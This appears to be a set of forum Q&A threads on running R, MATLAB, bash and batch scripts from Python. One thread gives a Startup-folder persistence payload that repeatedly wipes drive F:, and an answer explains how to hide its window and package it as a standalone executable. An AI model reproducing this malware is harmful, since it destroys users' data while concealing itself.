I'm trying to run an R Script through Python using subprocess but unfortunately, I'm continually getting the following error:
WindowsError: [Error 2] The system cannot find the file specified
This is extremely frustrating as I've checked the path over everything multiple times (done it without C:/, moved to different directories, changed the R script I'm trying to run, etc). I've also checked the CompSec Environment Variable, and it is also correct (through Windows Systems, although I never checked it directly in my IDE, Spyder). I've tried doing it in Python 2.7 and Python 3.5, and neither version works.
The code goes as follows:
import subprocess
def sort_ByInputColumn(inputPath, inputFileTermination, sortColumn, outputPath, outputFileTermination):
scriptPath = "C:/Users/Kyle/Documents/Rscript_SortByInputColumn.R"
subprocess.call(["Rscript", scriptPath, inputPath, inputFileTermination, sortColumn, outputPath, outputFileTermination])
fileName = 'Alabama'
outputPath = "C:/Users/Kyle/Documents/HillData/Data/Output/Module2/"
sortColumn = str(16)
inputTermination = fileName + 'Module2NN_WorkCounty_Work.csv'
outputFileTermination = fileName + 'Module2NN_SortedWorkCounty.csv'
sort_ByInputColumn(outputPath, inputTermination, sortColumn, outputPath, outputFileTermination)
The fact that I get this error no matter what code I try to run (even blatantly copy-pasting this tutorial to try and make it work) makes me feel like something deeper (or something extremely obvious) is going on that I'm not seeing.
Would appreciate any feedback on the matter.
To solve this most annoying and horrendous problem, I reinstalled R into a directory with no spaces and called Rscript with its full pathing (that is "C:/R/R-3.3.1/bin/Rscript.exe" from C:/Program Files/R/R-3.3.1/bin/Rscript.exe" because Program Files has a space and this kills subprocess because it's command line based, I guess). This time, it worked.
See this similar question for a hint as to where I got the inspiration for this.
Related
Can someone help me with this please?
I am trying to compile a program in this case programmed in python that I can run in win9Xdos, that I can call/start from a 9xDos batchfile, that will find the Current working Dir & by that I mean identify the cwd (current working directory) from where the python program and batchfile are executed. The python program will be called getcwd.py which I am hoping someone will outline what I need to do to convert to EXE/COM file. there is a program called Py2EXE but not sure if this will compile for Ms-dos file. Anyways heres my simple code thus far. Can someone tell me if I am on the right track please? Oh by the way what I am trying to do is find the CWD & inject the resultant path into a variable that can be read from 9Xdos. The current Var would be %cwd%
# importing os module
import os
# some websites say use: del cwd (to remove variable if it exists)
cwd = none
cwd = os.getcwd()
print(cwd)
The print line may need interchanging with code below, not sure help needed:
print(type(path))
# <class 'str'>
would the above code work, say in the root e.g. C:\ with & work in obtaining the CWD variable & if correct how would I proceed to compile it to an exe/com file? do I need to take into account LFN's & Spaces between possible paths e.g C:\Program Files & possible backslashes etc?
Your code isn't perfect but it is on the right track. All you need is this:
import os
if __name__ == '__main__':
print(os.getcwd())
There is no need for an auxiliary variable, and I don't know what websites are recommending that you delete the variable before creating it. Trying to delete a nonexistent Python variable is a runtime error. So I would stay away from those websites.
But your question is about setting an environment variable. Calling print() won't do that. All it will do is echo the current working directory to the console. There is no way to change the environment of a running process that will affect the parent process. This is not a Python restriction nor a Windows restriction: it is quite general. The OS sets up the environment of the process when it creates the process. You can make changes to the environment (using os.environ[env-var]) but those changes will only be visible inside that Python process and will not be visible to the environment of the batch file that runs the Python program. To do that, you need to pass the value back to the calling process.
One way to do that is like this:
In Python:
import os
if __name__ == '__main__':
print(f"set CWDIR={os.getcwd()}", file=open("mycd.bat","w"))
I haven't had a Python 1.5.2 environment for 15 years, so I can't test this, but I think the equivalent would have been
if __name__ == '__main__':
print >> open("mycd.bat","w"), "set CWDIR=%s" % (os.getcwd(),)
In a cmd.exe console:
call mycd.bat
Though if your Win9XDos doesn't provide %cd% (which, as far as I recall, was available in MS-DOS 5, or maybe further back still) there is no way of telling if it supports call either. (Are you maybe running command.com instead of cmd.exe? That would explain why things that should be there are missing).
I used pyinstaller to create a 64-bit .exe and that resulted in a file of about 6MB. Now, 32-bit executables are smaller, but it might be that the resulting executable is still too big to load.
So I think the Python route may turn out to be more trouble than it is worth.
I want to have an object, generated by an existing MATLAB script, modelled in FreeCAD. See bolded titles for important content of Intro, Matlab code, python code, Testing via terminal, Matlab error, Notes (OS, versions)
Intro
I have each side of the process worked out, but I am having issues with the calling of the python script through MATLAB.
I have both object constructor, and a script that works in building things in FreeCAD; so essentially, I have either end. What I need now is to interface them.
My test is basic, but should have been enough, or so I assumed.
Matlab:
pyfile = '~/Desktop/FreeCADworkspace/testvec2.py';
filename = 'atestname';
call = "python " + pyfile + " " + filename;
[status,result] = system("sh ~/Desktop/FreeCADworkspace/freecad.sh")
Python:
# Import python roots
import sys
import os
sys.path.append('/usr/lib/freecad-python2/lib')
sys.path.append('/usr/lib/freecad/lib')
# Other imports
import numpy as np
import math
# Import FreeCAD and parts
import FreeCAD
from FreeCAD import Base
import Part, Sketcher, Draft
try:
filename = sys.argv[1]
except: # this should never be thrown, exists for testing and other integration
print('No arguments called into script.')
print('Please use format: python thisScript.py arg_filename')
quit() # exit script
print(filename) # checkmeplz
So, essentially what should happen is that I should get a print-out of the definition of filename in MATLAB. In this case, I should see 'atestname'
Testing
If I call this through terminal:
python ~/Desktop/FreeCADworkspace/testvec2.py atestname
I get:
FreeCAD 0.18.1, Libs: 0.18.1R
atestname
Which is exactly as expected. The same cannot be said of my MATLAB
MATLAB ERROR
Traceback (most recent call last):
File "/home/ashaiden/Desktop/FreeCADworkspace/testvec2.py", line 11, in <module>
import FreeCAD # no FreeCADGui??
ImportError: /usr/lib/freecad-python2/lib/libFreeCADBase.so: undefined symbol: _ZN11xercesc_3_111InputSource11setEncodingEPKt
I have also tried to execute the python script from MATLAB via a bash script. Same error.
What is confusing me: why would some command that executes perfectly through the terminal, be failing when calling via MATLAB?
I feel like I am misunderstanding how MATLAB system calls are performed. I assumed that the call was sent to, and processed by, the OS itself. But where that the case, it would not make sense to be getting an error. Does MATLAB do some interpreting of files that it is handling?
Notes
Operating system: Ubuntu 16.04
MATLAB 2018b
Python 2.7 -> is this potentially the issue? Python 2 seemed to be the default language for my particular FreeCAD install.
FreeCAD 0.18.1
Edit
After much searching by myself and my supervisor, it appears that this might be able to be put down to a conflict between binary files.
MATLAB has libxerces-c.so files defined inside /bin/glnxa64/ and another toolbox folder.
These may be conflicting with the linux binary /usr/lib/x86_64-linux-gnu/libxerces-c.so such that when the terminal is called via matlab, it uses the matlab binary instead of the system binary.
I will continue to investigate further.
Answering my own questions!
Edit 30/7 : This does not actually adequately solve the problem for linux, given that paths may have some slight difference between machines. It also does not solve the problem for mac or windows (the issue does occur on mac, but I have no data if it occurs on windows.
After digging and searching, I edited the question:
MATLAB has libxerces-c.so files defined inside /bin/glnxa64/ and
another toolbox folder.
These may be conflicting with the linux binary
/usr/lib/x86_64-linux-gnu/libxerces-c.so such that when terminal is
called via matlab, it uses the matlab binary instead of the system
binary.
I was correct that this was due to a conflict between MATLAB's bin libxerces-c.so and the linux native libxerces-c.so. I have found at least a partial fix for this. I do not know of its robustness. At worst, the path will be edited and then returned to original format each time FreeCAD will be called within my code (gross).
SOLUTION:
Important first step: oldpath = getenv("LD_LIBRARY_PATH") to get and then SAVE some record of the current path. This, for me, is in case some
issues or conflicts arise later.
I then removed the section of the path '/usr/local/MATLAB/R2018b/bin/glnxa64/' and saved the string to newpath
I then made this the new path: setenv("LD_LIBRARY_PATH", newpath),
where newpath no longer has the reference to the conflicting
folder
And now I am getting the expected result in my MATLAB command window:
FreeCAD 0.18.1, Libs: 0.18.1R
atestname
The comparative paths:
Newpath = '/usr/local/MATLAB/R2018b/sys/opengl/lib/glnxa64:/usr/local/MATLAB/R2018b/sys/os/glnxa64:/usr/local/MATLAB/R2018b/extern/lib/glnxa64:/usr/local/MATLAB/R2018b/runtime/glnxa64:/usr/local/MATLAB/R2018b/sys/java/jre/glnxa64/jre/lib/amd64/native_threads:/usr/local/MATLAB/R2018b/sys/java/jre/glnxa64/jre/lib/amd64/server:/usr/lib/x86_64-linux-gnu/';
Oldpath = '/usr/local/MATLAB/R2018b/sys/opengl/lib/glnxa64:/usr/local/MATLAB/R2018b/sys/os/glnxa64:/usr/local/MATLAB/R2018b/bin/glnxa64:/usr/local/MATLAB/R2018b/extern/lib/glnxa64:/usr/local/MATLAB/R2018b/runtime/glnxa64:/usr/local/MATLAB/R2018b/sys/java/jre/glnxa64/jre/lib/amd64/native_threads:/usr/local/MATLAB/R2018b/sys/java/jre/glnxa64/jre/lib/amd64/server:/usr/lib/x86_64-linux-gnu/';
I have an error that I keep encountering repeatedly, sadly without being able to find solution to at the site.
try:
#create working dir if it doens't exist already
if not os.path.isdir(WORKINGDIR):
print '>>>mdkir ',WORKINGDIR
subprocess.Popen(['mkdir',WORKINGDIR]).wait()
print os.path.isdir(WORKINGDIR)
#create output csv file
outputCSVFile = WORKINGDIR+ '/'+'results.csv'
if not os.path.isfile(outputCSVFile):
print '>>> touch',outputCSVFile
subprocess.check_output(['touch',outputCSVFile])
Although the line: print os.path.isdir(WORKINGDIR) always prints True, subprocess returns this error:
touch: cannot touch
`/nfs/iil/proj/mpgarch/archive_06/CommandsProfiling/fastScriptsOutput190916/results.csv':
No such file or directory
The same error doesn't appear when I use subprocess.checkoutput instead of subprocess.Popen().wait().
I know that this issue can be solved in many ways (such as using os methods to creates directories and files), but I am interested on why my way isn't working.
Thanks in advance.
EDIT: as some suggested, the problem probably lies with the fact that the program continues too fast after the subprocess.Popen, and hence the issue is solved using subprocess.checkoutput which is probably slower (since it has to wait for output). But still - I don't understand exactly what is happening, since os.path.istdir shows that the dir was created, before continuing to the line that performs touch
I suppose you have file permission problems.
In your path it appears that you are using NFS. Did you already try it on the local file system?
Anyway, you should avoid to use sub processes for simple file operations.
To create a directory:
if not os.path.exists(WORKINGDIR):
os.makedirs(WORKINGDIR)
For touch:
import os
def touch(fname, times=None):
with open(fname, 'a'):
os.utime(fname, times)
touch(WORKINGDIR+ '/'+'results.csv')
I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.
I've got a bash file that I normally execute using Cygwin.
I need to run this file from my Python code.
I tried this:
for bashfile in files:
p = Popen(bashfile, cwd=dname) #dname is the current directory of the script
stdout, stderr = p.communicate()
I've also seen a similar question here, but when trying to run it that way it says that it can't find the directory of my bash file...
Any ideas? Thanks! :-)
Edit: bashfile has a full path.
Do you need its output to get it directly to Python? If not this may be very fast and easy solution:
os.system("""here some code you use to execute in Terminal""")
You can also try this, though it does (and will no matter what you try) matter where the directory is. This, as far as the output goes, may be a little bit cleaner than the os method.
import commands
cmd="bash ./script.sh"
commands.getoutput(cmd)
If the case is that you need to change the directory:
cmd = "/path/to/your/script/script.sh"
The added benefit of using this method, versus say, os is that you can assign the output to a variable...
fun_times = commands.getoutput("bash ./script.sh")
whereas...
not_fun_times = os.system("./script.sh")
will throw an error.
etc, etc.